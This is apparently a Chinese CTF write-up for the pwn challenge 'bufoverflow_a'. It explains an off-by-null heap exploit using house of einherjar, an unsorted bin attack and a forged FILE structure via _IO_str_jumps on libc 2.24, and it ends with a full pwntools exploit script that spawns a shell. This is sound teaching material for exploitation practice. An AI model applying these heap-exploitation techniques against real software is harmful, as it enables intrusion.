【攻防世界】bufoverflow_a

1.程序逆向

简单的逆向,记一下几个地方:当chunk数大于2时,便使用 calloc 分配并且 free 后会进行填充:
在这里插入图片描述
关于 mallopt 见这里
在这里插入图片描述
漏洞出现在 fill 功能中,存在 off by null。
show 输出遇 0 截断。
在这里插入图片描述

2.漏洞利用&限制条件
  • off by null
  • chunk size 无限制
  • 可以泄漏地址 chunk 只有两个
  • show 遇 ‘\x00’ 截断
  • 可以无限次 edit

    由于能够正常 malloc 的 chunk 有限制,所以要不断的利用前两个块来泄漏地址,off by null 这里使用 house of einherjar 可以返回一个 fake_chunk 地址,该 fake_chunk 在另一个 chunk 中,下一次申请即可形成 chunk overlap,然后通过 unsorted bin attack + libc 2.24 io_attack 完成利用。在 house of einherjar 时要构造好过 unlink 的检测。

首先泄漏 libc 地址:

# leak libc
add(0x80) #0
add(0x80) #1

dele(0)
dele(1)
add(0x80) #0
show()

然后准备 unlink 泄漏 heap_base,因为不能获取其指针数组位置,只能通过 p->fd = p; p->bk=p 来让绕过 unlink 的限制:
在这里插入图片描述在这里插入图片描述
因为 large bin chunk 中的 fd_nextsize 中会残留堆地址,所以我们要通过这里得到堆地址,但是因为show 会 ‘\x00’ 截断,不能直接从 fd 的部分 show。因为 fd_nextsize 在当前 chunk_header + 0x20 处,所以可以在该 chunk 之前布置一个堆块 #0(第一步泄漏 libc 的堆块即是),然后将这两个 chunk 与 top chunk 合并后,先申请一个 size 大于刚刚前面 #0 0x10 的堆块,这样再申请第二个堆块到此处时,原 fd_nextsize 恰为现 fd 的位置,可以 show:

add(0x400) #1
add(0x80) #2

dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1) # consolidate with top chunk

dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()

接下来需要通过 off by null + house of einhenjar 构造包含 unsorted bin chunk 的堆块重叠:

dele(0)
dele(1)

# create fake chunk
add(0x208) #0
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1e1)
fake_chunk += p64(heap_base + 0x50) * 2
fake_chunk = fake_chunk.ljust(0x200, '\x00')
fake_chunk += p64(0x1e0)
edit(fake_chunk)

add(0x80) #1
add(0xf0) #2
edit('2'*0xf0)
dele(1)

# 触发后向合并
pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit(pad)
dele(2) # consolidate 0 1 2

在这里插入图片描述
此时我们还需要一个内层被控制的 unsorted bin chunk,先来构造 0 和 1 正常的 unsorted bin,这里需要复原刚才 #1 的头部和 #2 的头部避免下一步 free 时检查不通过,为了后面不会 calloc 清空和 free 后填充,把 #1 也先 free 掉

add(0x290) #2  split from fake_chunk 
pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
edit(pad)
dele(1)
dele(0)

在这里插入图片描述
在这里插入图片描述
现在 fake_chunk idx = 2,此刻我们的目的就是将 fake_chunk free 进 unsorted bin,然后通过 0x··020 的外层 chunk 控制其 bk,因为如图,fake_chunk 前后的字段被打乱,所以此时要从外层申请的 unsorted bin 中申请一个较大的堆,然后重新伪造 fake_chunk ,需要在 fake_chunk 的末尾腾出位置制造一个填充的 chunk 来绕过检查:

add(0x290) #0  split from normal chunk
pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
edit(pad)
dele(0)
dele(2) # 此时 size = 0x90
add(0x290) # can control unsortedbin chunk : #2 (size =0x90)

此时已经达成通过外层 chunk 控制内存 unsorted bin chunk 的目的。因为本题 libc 版本为2.24,增加了对 vtable 的检查,这里用 _IO_str_jumps 绕过,再利用 _IO_str_finish 中:
在这里插入图片描述
将 vtable 指向 _IO_str_jumps,把 fp->_s._free_buffer 指向 system 函数,把 fp->_IO_buf_base 指向 /bin/sh 字符串,再伪造一下其他字段即可

fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)

pl = 'a'*0x20
pl += fake_file
pl += '\n'
edit(pl)

最后申请一个 > 0x60 的 chunk 完成利用。

3.完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'

binary = './bufoverflow_a'
elf = ELF('./bufoverflow_a')
libc = elf.libc
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary

DEBUG = 1
if DEBUG:
	p = process(binary)
else:
	host = "node2.hackingfor.fun"
	port =  39964 
	p = remote(host,port)
if DEBUG == 2:
	host = ""
	port = 0
	user = ""
	passwd = ""
	p = ssh(host,port,user,passwd)

def dbg():
    gdb.attach(p)
    pause()

l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = ">> "

def cmd(i):
	ru(menu)
	sl(str(i))

def add(size):
	cmd(1)
	sla("Size: ", str(size))

def dele(idx):
	cmd(2)
	sla("Index: ", str(idx))

def edit(content):
	cmd(3)
	ru("Content: ")
	se(content)

def show():
	cmd(4)

def get_IO_str_jumps():
	IO_file_jumps_offset = libc.sym['_IO_file_jumps']
	IO_str_underflow_offset = libc.sym['_IO_str_underflow']
	for ref_offset in libc.search(p64(IO_str_underflow_offset)):
		possible_IO_str_jumps_offset = ref_offset - 0x20
		if possible_IO_str_jumps_offset > IO_file_jumps_offset:
			print(possible_IO_str_jumps_offset)
			return possible_IO_str_jumps_offset

add(0x80) #0
add(0x80) #1

dele(0)
add(0x80) #0
show()
libc_base = l64() - libc.sym['__malloc_hook'] - 0x68
info("libc_base", libc_base)
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
dele(1)

add(0x400) #1
add(0x80) #2

dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1) 

dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, '\x00')) - 0xb0
info("heap_base", heap_base)

dele(0)
dele(1)

# create fake chunk
add(0x208) #0
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1e1)
fake_chunk += p64(heap_base + 0x50) * 2
fake_chunk = fake_chunk.ljust(0x200, '\x00')
fake_chunk += p64(0x1e0)
edit(fake_chunk)

add(0x80) #1
add(0xf0) #2
edit('2'*0xf0)
dele(1)

pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit(pad)
dele(2) # consolidate 0 1 2

add(0x290) #2  split from fake_chunk 
pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
edit(pad)
dele(1)
dele(0)
dbg()

add(0x290) #0  split from normal chunk
pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
edit(pad)
dele(0)
dele(2)
add(0x290) # can control unsortedbin #2 size =0x90

fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)

pl = 'a'*0x20
pl += fake_file
pl += '\n'
edit(pl)

add(0x80)

# dbg()

ia()

参考链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值